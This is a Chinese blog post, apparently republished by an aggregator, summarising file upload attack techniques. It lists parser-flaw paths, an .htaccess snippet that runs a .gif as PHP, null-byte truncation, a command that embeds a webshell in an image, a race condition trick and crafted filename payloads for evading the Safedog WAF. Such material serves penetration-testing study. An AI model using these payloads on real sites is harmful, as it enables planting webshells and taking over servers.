webTOP10漏洞之文件上传漏洞
Posted underline0
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了webTOP10漏洞之文件上传漏洞相关的知识,希望对你有一定的参考价值。
目录
信息搜集
1.查找上传位置
黑盒:猜测或通过扫描工具获得到网站的路径(upload.php等),找到文件上传的地方,一般在会员中心。
白盒:根据代码分析到文件上传
2.CMS源码,第三方应用
可以查找利用漏洞,直接进行上传
3.解析器
常见解析漏洞
- IIS5.x-6.x :
①目录解析:/xx.asp/xx.jpg ② 文件解析:test.asp;1.jpg
- IIS 7.0/IIS 7.5/nginx < 8.03:
例如访问http://127.0.0.1/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
- Nginx <8.03
如果文件是1.jpg 则访问1.jpg%00.php
- Apache 1.x和Apache 2.x
1.php.xxx
绕过验证
1.前端验证
抓包,修改格式
2.黑名单
- 大小写,空格,点,双后缀防替换,::DATA,其他格式(php5...),目录命名(x.php/.)
- .htaccess 仅在apache服务器中
<FilesMatch "1.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif
</FilesMatch>
//把1.gif解析为php,可操控性强,上传格式随意变
3.白名单
- %00截断(被服务器解析时截断并且可以绕过白名单后缀,还可以防止时间戳命名法)
条件: php版本小于5.3.4 php的magic_quotes_gpc为OFF状态 GET提交: 直接在数据包后面加%00 POST提交: 在后面加+然后hex将2b改为00 如果在数据包的内容中,就需要url decode
- 文件头验证(Content-Type)
修改为符合的文件头
- 文件内容检测
图片木马//需要配合文件包含漏洞,或者当验证文件头的时候配合htaccess解析漏洞
copy 1.png /b + shell.php /a webshell.jpg
验证函数
getimagesize
exif-imagetype等
- 目录命名 php/.jpg
4.其他
- 二次渲染
先发送到repeater回显,然后获得第一次路径,然后爆破,访问,因为在文件被访问的时候,无法被删除
修改xxf然后爆破,疯狂去访问,等刚好卡到那个页面,去连接菜刀。
绕过安全狗
绕过安全狗无非:数据溢出, 符号变异,截断,换行,重复数据(不影响执行数据的情况下)
filename="x.php
filename='x.php
filename="a.jpg;.php";
filename="a.php%00.jpg"
filename="Content-Disposition: form-data; name="upload_file";x.php" filename="x.jpg";filename="x.jpg";.....filename="x.php";
filename="/jpeg;x.php"
filename="/jpeg;/x.php"★FUZZ字典爆破
以上是关于webTOP10漏洞之文件上传漏洞的主要内容,如果未能解决你的问题,请参考以下文章